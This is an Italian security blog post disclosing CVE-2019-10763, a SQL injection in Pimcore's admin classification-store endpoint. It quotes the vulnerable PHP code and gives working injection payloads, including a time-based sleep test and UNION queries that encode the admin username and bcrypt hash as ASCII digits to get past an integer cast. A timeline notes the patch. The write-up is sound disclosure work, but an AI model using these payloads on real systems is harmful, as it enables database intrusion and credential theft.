Weak password or weak hash function
A new tragedy
Dario Ragno
In questo articolo descriviamo come siamo riusciti a sfruttare una SQL Injection per estrarre username e password nonostante il server risponda solo con numeri interi. Dalle nostre verifiche, la vulnerabilità è presente in Pimcore dalla versione 4 e quindi è rimasta nascosta per almeno 3 anni. Alla vulnerabilità è stato assegnato il CVE 2019-10763.
Durante un'analisi sulla versione 6.2.3 di Pimcore, abbiamo individuato una potenziale SQL Injection nella funzione getPageAction()
nel file ClassificationstoreController.php
.
Questa funzione si occupa di gestire le richieste HTTP effettuate tramite metodo GET all'URL "/admin/classificationstore/get-page". La funzione è raggiungibile da account che possiedono privilegi limitati e usa i seguenti parametri: id
, storedId
, pageSize
e table
.
Di seguito la sezione di codice sorgente in oggetto:
1453 public function getPageAction(Request $request)
1454 {
1455 $table = 'classificationstore_' . $request->get('table');
1456 $db = \Pimcore\Db::get();
1457 $id = $request->get('id');
1458 $storeId = $request->get('storeId');
1459 $pageSize = $request->get('pageSize');
1460
1461 if ($request->get('sortKey')) {
1462 $sortKey = $request->get('sortKey');
1463 $sortDir = $request->get('sortDir');
1464 } else {
1465 $sortKey = 'name';
1466 $sortDir = 'ASC';
1467 }
1468 $sorter = ' order by `' . $sortKey . '` ' . $sortDir;
1469
1470 if ($table == 'keys') {
1471 $query = '
1472 select *, (item.pos - 1)/ ' . $pageSize . ' + 1 as page from (
1473 select * from (
1474 select @rownum := @rownum + 1 as pos, id, name, `type`
1475 from `' . $table . '`
1476 where enabled = 1 and storeId = ' . $storeId . $sorter . '
1477 ) all_rows) item where id = ' . $id . ';';
1478 } else {
1479 $query = '
1480 select *, (item.pos - 1)/ ' . $pageSize . ' + 1 as page from (
1481 select * from (
1482 select @rownum := @rownum + 1 as pos, id, name
1483 from `' . $table . '`
1484 where storeId = ' . $storeId . $sorter . '
1485 ) all_rows) item where id = ' . $id . ';';
1486 }
1487
1488 $db->query('select @rownum := 0;');
1489 $result = $db->fetchAll($query);
1490
1491 $page = (int) $result[0]['page'] ;
1492
1493 return $this->adminJson(['success' => true, 'page' => $page]);
1494 }
Come è possibile notare, nelle righe 1471 e 1479 vengono create due query tramite concatenazione di stringhe. I valori inseriti all'interno della query finale corrispondono ai parametri della richiesta HTTP, usati direttamente senza alcuna sanitizzazione dell'input.
Questa implementazione permette ad un utente di controllare la query portando a una vulnerabilità di tipo SQL Injection.
Una normale richiesta alla pagina potenzialmente vulnerabile utilizza un valore intero per il parametro id
. Di seguito un esempio di richiesta:
Per verificare che la vulnerabilità sia effettivamente sfruttabile abbiamo provato ad eseguire una time-based SQL Injection, ovvero abbiamo creato un payload che impone al database di attendere per un certo periodo di tempo prima di rispondere. Abbiamo perciò inserito all'interno del parametro id
la funzione sleep()
di SQL e verificato che il server attenda il numero di secondi da noi specificato (5) prima di restituire una risposta. Di seguito il payload utilizzato:
1;select sleep(5) --
Di seguito la richiesta con il payload appena descritto, ovviamente URL-encoded:
Come ci aspettavamo, il server ha risposto dopo poco più di 5 secondi, confermando la presenza della vulnerabilità!
Ottimo! Il parametro id
risulta vulnerabile a SQL Injection!!
Non spieghiamo in questo articolo come sfruttare la tecnica della UNION, basti sapere che tramite l'uso di tale operatore è possibile concatenare il risultato di una seconda query con la query eseguita da Pimcore.
Esaminiamo la query originale, dove il campo id
è un identificativo numerico:
select * from classificationstore_keys where id = ...
La tabella classificationstore_keys
è formata da 4 colonne e un payload semplice come 1 union (select 1,2,3,4)
permette di verificare se uno degli interi specificati viene effettivamente inserito come risultato. Inoltre, è importante che la prima query, quella originariamente eseguita da Pimcore, non restituisca alcun risultato (infatti nel nostro database non esiste alcuna riga con id=1
). La query risultante dopo l'inserimento del payload descritto sopra è la seguente:
select * from classificationstore_keys where id = 1 union (select 1,2,3,4)
Il risultato di tale query è una tabella con una singola riga (composta dalle colonne con i seguenti valori: 1,2,3,4) dal momento che non esiste alcun valore nella tabella con id=1
. Di seguito la risposta del server:
Siccome il valore del campo page
del json restituito dal server corrisponde al valore della quarta colonna estratta dal risultato della query e il risultato del nostro payload prevede una riga di esattamente quattro colonne, la risposta contiene il valore della quarta colonna del nostro payload, ovvero il numero 4.
Purtroppo, il codice di Pimcore pone un limite alla quantità di dati esfiltrabile a causa di una conversione ad intero alla riga 1941 e riportata di seguito per comodità:
1491 $page = (int) $result[0]['page'] ;
Se creassimo un payload con qualsiasi altro valore, come ad esempio il carattere 'A', il server risponderebbe con "page":0
, corretto in quanto 'A' non è un intero!
La domanda che nasce spontanea è: "Esiste un payload o un costrutto per convertire una stringa, come uno username, in un valore intero?"
Sì! Il SQL fornisce alcune interessanti funzioni che possono essere usate per manipolare i risultati, come SUM()
, AVG()
, SUBSTRING()
o, ancora, ASCII()
. Quest'ultima è particolarmente utile in questo caso perché converte un carattere ASCII come la 'A', nel suo valore intero decimale (65).
Il payload può perciò essere modificato in:
select * from classificationstore_keys where id = 1 union (select 1,2,3,ascii('A'))
Ottenendo la seguente risposta dal server:
Estendendo il concetto, possiamo convertire una stringa composta da più di un carattere, come ad esempio "ABC", nella relativa sequenza di valori decimali ASCII (656667) con l'ausilio delle funzioni SUBSTRING()
e CONCAT()
di SQL.
L'idea è la seguente:
SUBSTRING()
possiamo estrarre i caratteri dalla stringa, uno alla voltaASCII()
possiamo convertire il carattere nel corrispondente valore decimaleCONCAT()
possiamo concatenare i diversi valori decimali (che saranno "castati" a stringa)Il payload finale risulta essere il seguente:
1 union (select 1,2,3, concat(ascii(substring('ABC',1,1)), ascii(substring('ABC',2,2)), ascii(substring('ABC',3,3))))
Una volta fatta la chiamata con il nuovo payload, la risposta del server è la seguente:
Con la tecnica appena descritta, possiamo esfiltrare informazioni arbitrarie dal database. Ovviamente a noi interessano username e password!
Prima di procedere con l'estrazione dello username è necessario fare alcune considerazioni sulla tabella ASCII che riportiamo di seguito per comodità:
Come si può notare, il primo carattere stampabile è lo spazio, 32 in decimale, mentre l'ultimo, la tilde, corrisponde al valore decimale 126. Questo significa che ogni carattere sarà convertito in almeno due numeri decimali. Inoltre, se un numero inizia con "1" significa che dobbiamo considerare anche i due numeri successivi come parte dello stesso carattere. Questo ci permette di tradurre nuovamente le risposte del server in caratteri!
Per effettuare un dump dell'utente amministratore dobbiamo estrarre la colonna name
della tabella users
. Possiamo usare il seguente payload:
1 union select 1,2,3,(select concat(ascii(substring(name,1,1)),ascii(substring(name,2,2)),ascii(substring(name,3,3)),ascii(substring(name,4,4)),ascii(substring(name,5,5))) from users where id=2) --
Di seguito la risposta del server:
Se traduciamo i decimali ottenuti in risposta nel campo page
(97100109105110), otteniamo la stringa "admin" che è appunto lo username del nostro utente amministratore. Infatti, seguendo le considerazioni sulla tabella ASCII fatte in precedenza, abbiamo che 97=a, 100=d, 109=m, 105=i e 110=n.
Ottimo! Abbiamo ottenuto lo username del nostro amministratore!
Questo funziona perché il numero 97100109105110 è relativamente piccolo e siamo su una macchina a 64bit, altrimenti avremmo ottenuto un integer overflow!
Infatti, un payload come 1 union (select 1,2,3,99999999999999999)
causa la seguente risposta:
A dispetto della teoria, abbiamo scoperto empiricamente che possiamo ottenere in risposta un numero lungo al massimo 15 cifre.
In una configurazione di default come la nostra, la costante predefinita PASSWORD_DEFAULT
di PHP usa bcrypt come algoritmo di hash per le password. Ci aspettiamo quindi di dover estrarre una sessantina di caratteri che contengono:
$2a$
, $2b$
o $2y$
$
Considerato che il server ci risponde con al massimo 15 numeri e che, nel caso peggiore, un singolo carattere della password può essere tradotto in 3 cifre decimali, significa che possiamo estrarre al massimo 5 caratteri alla volta (15 diviso 3).
Questo significa che per estrarre l'intera password, servono almeno 12 richieste distinte (60 diviso 5). Overflow bypassed!
Come per lo username, dobbiamo estrarre la colonna password
dalla tabella users
ma ci limitiamo a prendere solo i primi 5 caratteri. Di seguito il payload:
1 union select 1,2,3,(select concat(ascii(substring(password,1,1)),ascii(substring(password,2,2)),ascii(substring(password,3,3)),ascii(substring(password,4,4)),ascii(substring(password,5,5))) from users where id=2) --
Di seguito la risposta del server:
Possiamo quindi procedere con il secondo gruppo di 5 caratteri:
1 union select 1,2,3,(select concat(ascii(substring(password,6,6)),ascii(substring(password,7,7)),ascii(substring(password,8,8)),ascii(substring(password,9,9)),ascii(substring(password,10,10))) from users where id=2) --
Di seguito la risposta del server:
Non stiamo a riportare tutte le richieste HTTP ma ci limitiamo ad analizzare quanto ottenuto. Nella prima risposta il valore di page
è "36501213649" che corrisponde a "$2y$1" mentre nella seconda risposta il valore è "483610657112" che corrisponde a "0$j9p".
Unendo i due risultati otteniamo $2y$10$j9p
dove possiamo notare il prefisso ($2y$
), il costo (10$
) e l'inizio del Base64 che distingue il sale. Stiamo effettivamente estraendo l'hash bcrypt di una password!
Data | Cosa |
---|---|
04 novembre 2019 | La vulnerabilità è stata scoperta. |
05 novembre 2019 | La vulnerabilità è stata segnalata al team di Pimcore. |
17 novembre 2019 | Pimcore rilascia la patch con la versione 6.3.0. |
17 novembre 2019 | SNYK rende pubblica la vulnerabilità. |
In questo articolo abbiamo dimostrato come la conversione ad un tipo diverso (cast), più restrittivo rispetto ad una stringa come l'integer, sia comunque superabile se non c'è sanitizzazione dell'input.
Gemma Contini
Daniele Scanu
Fabio Carretto
Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.